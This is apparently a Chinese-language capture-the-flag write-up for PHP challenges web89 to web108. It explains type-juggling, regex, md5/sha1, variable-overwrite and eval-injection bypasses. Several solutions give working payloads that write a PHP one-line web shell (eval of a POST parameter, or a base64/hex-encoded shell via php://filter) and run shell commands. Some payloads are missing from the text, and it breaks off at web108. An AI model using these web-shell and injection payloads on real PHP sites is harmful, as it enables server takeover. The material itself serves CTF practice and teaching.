php特性
web89
if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }
|
inteval()
函数在官方文档中写有: 失败返回0, 空的array返回0, 非空的array返回1; preg_match()
函数在传入数组会直接返回0; 于是payload:
web90
if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); }
|
intval( $value, $base )
在官方文档中定义为: 如果base是0, 通过检测value的格式来决定使用的进制
于是我们可以构造以下payload:
而且因为我们提交的参数值默认就是字符串类型, 还可以随便加上一个字符
web91
本题为换行解析漏洞, 可以先查看此文章再做题
if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
/i
表示匹配大小写, /m
表示多行匹配 , "行首"元字符 ^
仅匹配字符串的开始位置, 而"行末"元字符 $
仅匹配字符串末尾,字符^
和$
同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true; 所以本关程序是要求我们多行匹配到php但是单行匹配不到php。
所以只需要加上一个换行符%0a
就能解决这个问题, payload
web92
if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
|
解题方法: 可以用16进制和8进制绕过, 但是这里优先介绍新的方法:
intval($value, $base)
函数如果$base
为0则$value
中存在字母的话遇到字母就停止读取, 但是只增加一个字母是不能绕过弱等于判断
而e作为科学计数法的特征可以不用于科学记数法(被截断了), 所以我们构造的payload为
web93
if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }
|
同web90, 直接用8进制就能绕过了, 还可以用小数(通过intval()
函数变为int类型)
web94
if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }
|
在web93的基础上过滤了开头为0的数字, 这样的话就不能使用进制转换来进行操作
strpos() - 函数查找字符串在另一字符串中第一次出现的位置。 stripos() - 查找字符串在另一字符串中第一次出现的位置, 不区分大小写 strripos() - 查找字符串在另一字符串中最后一次出现的位置, 不区分大小写 strrpos() - 查找字符串在另一字符串中最后一次出现的位置, 区分大小写
|
我们可以使用小数点来进行操作, 这样通过intval()函数就可以变为int类型的4476; 还可以利用前面加空格或者+的方式规避第一个字符是0的问题
?num=4476.0 ?num= 010574 ?num=+4476.0
|
web95
if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; }
|
过滤掉了点, 同时将强等于变为弱等于, 构造的payload如下
web96
if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
|
反正都是当前目录下的文件, 客气些什么. payload:
?u=./flag.php ?u=php://filter/resource=flag.php ?u=/var/www/html/flag.php
|
web97
if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; }else{ print 'Wrong.'; }
|
a和b不相同但是md5值相同, 经典的数组绕过, 或者是直接构造相等的md5值(fastcoll_v1.0.0.5)
md5和sha1对一个数组进行加密将返回NULL, 而NULL===NULL
返回true, 所以可绕过判断
a[]=1&b[]=2 或者 a=flag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%17%28%22WT%96g+%00%E6R%006I%FFL%0D%13u%07W%16%02%D4%15BCR%93%2F%16%D0V%F3%F7%E0%DC%0BI%21K%0E%C6%01%F0%D9%E3%408v%9BK%60%E0%95%8D%AF%28%1Fr%DD%E15%FA%23%9BZl%92b%B2%ED%93%E4%0D%8C%F7%FF%0F%1F%B4%ED%B1d%17F%1E1%D3%1AvK%ECF%DE%EB%EEm%9EX%F4%16%E4%D0%C82TWo%24fj%11Oap%CB%CCNL%96%E0%5D%18%19%8Ds%DE&b=flag%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%17%28%22WT%96g+%00%E6R%006I%FFL%0D%13u%87W%16%02%D4%15BCR%93%2F%16%D0V%F3%F7%E0%DC%0BI%21K%0E%C6%01%F0Y%E4%408v%9BK%60%E0%95%8D%AF%28%1F%F2%DD%E15%FA%23%9BZl%92b%B2%ED%93%E4%0D%8C%F7%FF%0F%1F%B4%ED%B1%E4%17F%1E1%D3%1AvK%ECF%DE%EB%EEm%9EX%F4%16%E4%D0%C82TWo%A4ej%11Oap%CB%CCNL%96%E0%5D%98%19%8Ds%DE
|
web98
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
|
只要有输入的GET参数就将POST方法的值赋值给GET方法(修改了get方法的地址), 如果GET进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源代码
但但是我们可以直接控制POST的值, 于是我们可以用POST传参HTTP_FLAG=flag
虽然注意到直接利用GET传入_
是不可行的, 但是经过测试发现传入任何东西都行, 例如?1
都能用
web99
$allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
|
源代码: 生成一个随机数数组, 如果传入的n在数组中, 将通过POST请求传递的content数据写入由URL中n参数指定的文件中
in_array()函数有漏洞, 没有设置第三个参数时为弱类型比较, 就可以形成自动转换eg: n=1.php自动转换为1
所以可以通过GET传入1.php然后利用content传入一句话木马进行写马, 直接访问即可
GET: ?n=1.php POST: content=<?php @eval($_POST['cmd']);?>
|
web100
include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
检查v1,v2,v3是否都是数字, 且v2不包含分号, 但v3包含分号时, 执行$v2('ctfshow')$v3
已知PHP中运算符优先级的排列为
&& || = and or //从左往右,从高到低
|
所以判断是否都是数字的时候, 仅仅只能判断v1是否是数字, and后面全都被忽略了, 所以可以确定v1和v3
现在可以执行命令或者注释掉后面代码再自己构造
第一种方法: 自己构造执行(构造一句话等, 解法为非预期):
?v1=1&v2=eval($_POST[cmd])?>%23&v3=; ?v1=1&v2=echo `ls`?>&v3=; # 直接执行也行
|
flag不在flag36d.php中, 在ctfshow.php
<!--?php class ctfshow{ var $dalaoA,$dalaoB,$flag_is_fa150d4a0x2d78570x2d49cc0x2d8c520x2de8bcca93ccdb; } #('ctfshow');-->
|
至于为什么看着不像flag, 因为-
在这里表示为0x2d
, 替换一下就好了
第二种方法: php反射或者相关函数(var_dump函数)
?v1=21&v2=var_dump($ctfshow)/*&v3=*/; # 官方解 ?v1=1&v2=var_dump($ctfshow)&v3=; ?v1=1&v2=print_r($ctfshow)?>&v3=; ?v1=1&v2=var_export($ctfshow)?>&v3=; ?v1=1&v2=echo new ReflectionClass&v3=; # 实际执行: eval("echo new ReflectionClass('ctfshow');");
|
php反射这个工具允许你在运行时检查对象的属性和方法, 甚至可以调用它们; 反射 API 由一系列类组成, 这些类使得PHP代码能够获取关于类、接口、函数、方法和扩展的信息, 并在运行时动态调用它们; 常见的反射类有:
- ReflectionClass: 用于检查类, 可以获取类的名称、父类、接口、方法、属性等信息
- ReflectionMethod: 用于检查类的方法,可以获取方法的名称、参数、访问级别等信息,并可以调用该方法
- ReflectionProperty: 用于检查类的属性,可以获取属性的名称、访问级别等信息,并可以读取或设置属性值
- ReflectionFunction: 用于检查函数,包括内置函数和用户定义的函数
<?php class MyClass { public $publicProperty = 'Public'; protected $protectedProperty = 'Protected'; private $privateProperty = 'Private'; public function myPublicMethod() { return 'Public method'; } protected function myProtectedMethod() { return 'Protected method'; } private function myPrivateMethod() { return 'Private method'; } } $reflectionClass = new ReflectionClass('MyClass');
$properties = $reflectionClass->getProperties(); foreach ($properties as $property) { echo $property->getName() . "\n"; }
$instance = $reflectionClass->newInstance(); $method = $reflectionClass->getMethod('myPublicMethod'); echo $method->invoke($instance) . "\n";
$protectedMethod = $reflectionClass->getMethod('myProtectedMethod'); $protectedMethod->setAccessible(true); echo $protectedMethod->invoke($instance) . "\n";
?>
|
而var_dump()
是一个PHP函数,用于输出变量的详细信息; 当您使用var_dump()
打印一个变量时, 它会显示变量的类型和值; 如果变量是一个数组或对象, var_dump()
还会递归地显示数组的元素或对象的属性, 以及这些元素的类型
print_r
和var_export
都是输出内容的函数
反射类(Reflection Classes)是PHP反射API的一部分, var_dump()
是一个 PHP 函数
web101
- 描述: 修补100题非预期,替换0x2d
- 提示: 最后一位需要爆破16次,题目给的flag少一位
这里的非预期指的是var_dump()
和执行一句话马的两个解法
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
反射类还是可以用的(flag是变量名):
?v1=1&v2=echo new ReflectionClass&v3=;
|
但是你说的对, 第二种解法是序列化:
?v1=1&v2=echo(serialize(new%20ctfshow&v3=));
|
web102
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
|
判断v2和v3是否都是数字(仅生效v2), 在v2中截取从第三个字符开始的子字符串赋值给s, 将s作为参数传入v1指定的函数, 将函数的返回值赋给变量str; 最后将str的返回值写入到以v3命名的文件中
call_user_func
是 PHP 中的一个函数,它允许你调用一个回调函数,并且动态地将参数传递给该回调函数
function myFunction($name) { echo "Hello, " . $name . "!"; } call_user_func("myFunction", "World");
|
file_put_contents
作为文件包含利用点刚在web87见过, 第一个参数是文件名,第二个参数是需要写进文件中的内容, 文件名支持伪协议
所以v1要是一个函数, v2是一个纯数字组成的字符串, v3是一个文件名或用伪协议(我用伪协议)
利用hex2bin可以将16进制转换为ascii码, 所以v1=hex2bin; v3伪协议, 所以v3=php://filter/write=convert.base64-decode/resource=shell.php
v2就是将一句话木马进行base64编码后再进行十六进制编码, 注意substr
的字符截取从0开始
原: <?=`cat *`; base64: PD89YGNhdCAqYDs= # 如果出现=是可以去掉的, 填充不影响加解密 hex(None): 5044383959474e6864434171594473
|
e会被当作科学记数法的标志, 所以这个字符串依然是数字
所以payload如下, 让问shell.php即可
GET: v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=shell.php POST: v1=hex2bin
|
如果是PHP5,则可以不用伪协议; payload如下:
php5中is_numeric函数识别16进制数,而php7不识别16进制数
v2=003c3f3d636174202a3b&v3=1.php post:v1=hex2bin
|
web103
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
|
上题的基础上给v2加了一层过滤, 用于过滤在任何位置出现的.php, v2参数路径如下:
hex -> substr()+call_user_func() -> base64 -> preg_match() -> file_put_contents()
不过很显然, base64加密后不存在.php这种东西, 所以继续用上一题payload即可
web104
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
|
你认为是sha1碰撞, 但是明显没有判断是否相等, 传入相同的东西给v1和v2就可以了
或者sha1和md5一样不能处理数组, 那就传入数组即可
还有0e绕过
md5: 240610708:0e462097431906509019562988736854 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 PJNPDWY:0e291529052894702774557631701704 NWWKITQ:0e763082070976038347657360817689 NOOPCJF:0e818888003657176127862245791911 MMHUWUV:0e701732711630150438129209816536 MAUXXQC:0e478478466848439040434801845361 sha1: 10932435112: 0e07766915004133176347055865026311692244 aaroZmOk: 0e66507019969427134894567494305185566735 aaK1STfY: 0e76658526655756207688271159624026011393 aaO8zKZF: 0e89257456677279068558073954252716165668 aa3OFF9m: 0e36977786278517984959260394024281014729 0e1290633704: 0e19985187802402577070739524195726831799
|
web105
$error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
|
php的变量覆盖, 直接将用户输入用作变量名, 可能导致变量覆盖问题
检查GET传参key不等于error的时候执行$$key=$$value
, 意为"一个变量其名称由$key
的值决定", value同理; 检查POST传参value不等于flag的时候执行相同操作, 最后检查传入的flag是都等于$flag
, 如果是, 输出flag
因为变量覆盖可以是任意的, 可以利用判定失败中的die($error)
, 利用这一点输出flag, payload:
GET: ?suces=flag POST: error=suces # 或 GET: ?1=flag POST: error=1
|
也可以用die($suces)
, 将$flag
赋值给$suces
, 然后赋值$flag
为空即可满足$_POST['flag']==$flag
payload:
GET: ?suces=flag&flag= # 或 GET: ?suces=flag POST: flag=
|
web106
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
|
判断加回来了, 那就用数组和0e绕过就行了
web107
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } }
|
parse_str
函数将字符串$v1
解析为变量并存储到数组$v2
中, 从解析后的数组$v2
中获取的flag参数值, 检查该参数是否等于$v3
经过md5加密的值, 满足条件输出flag
parse_str("name=John&age=30", $output); print_r($output);
|
输出如下
Array ( [name] => John [age] => 30 )
|
本题完全不用绕过乱七八糟的东西, payload:
GET: ?v3=240610708 POST: v1=flag=0
|
web108
include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); }
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
ereg
函数与preg_match
都是正则, 在PHP 5.3.0后已被废弃, 且不支持强比较(但是本题确实有用)
用正则判断参数c中是否包含大小写字母, 为否则结束程序; 然后用 strrev
反转参数 c
的值, 然后使用 intval
将结果转换为整数, 并与十六进制数 0x36d
(十进制为877)进行比较; 这意味着, 为了通过这个检查, 用户需要提供一个字符串, 该字符串反转后的整数表示必须等于877, 但是显然没有这样的字符串
那么只能绕过ereg
函数, 随便一搜就能看到有%00截断漏洞
ereg
函数用指定的模式搜索一个字符串中指定的字符串, 如果匹配成功返回true, 否则返回false; 搜索字母的字符是大小写敏感的
所以payload为: